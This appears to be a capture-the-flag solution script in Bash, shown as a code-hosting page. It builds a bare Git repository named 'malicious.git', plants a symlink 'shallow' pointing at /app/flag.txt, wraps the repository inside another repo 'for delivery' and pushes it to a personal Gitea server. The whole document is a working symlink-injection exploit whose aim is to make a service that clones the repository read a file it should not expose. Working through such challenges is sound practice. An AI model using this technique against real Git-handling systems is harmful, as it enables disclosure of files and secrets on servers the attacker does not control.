32 lines
722 B
Bash
32 lines
722 B
Bash
# 1. Create the base repository with a commit
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mkdir base_repo && cd base_repo
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git init
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git commit --allow-empty -m "init"
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cd ..
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# 2. Create the bare clone (the payload)
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git clone --bare base_repo malicious.git
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# 3. Inject the symlink
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cd malicious.git
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ln -s /app/flag.txt shallow
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# 4. Force Git to track the refs directories
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mkdir -p refs/heads refs/tags
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touch refs/.keep
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touch refs/heads/.keep
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touch refs/tags/.keep
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cd ..
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# 5. Wrap it for delivery
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mkdir wrapper && cd wrapper
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git init
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cp -r ../malicious.git .
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git add malicious.git
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git commit -m "Delivery package with refs tracked"
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# 6. Push to your server
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git branch -M main
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git remote add origin https://gitea.cato447.de/cato447/pwn.git
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git push -u origin main -f
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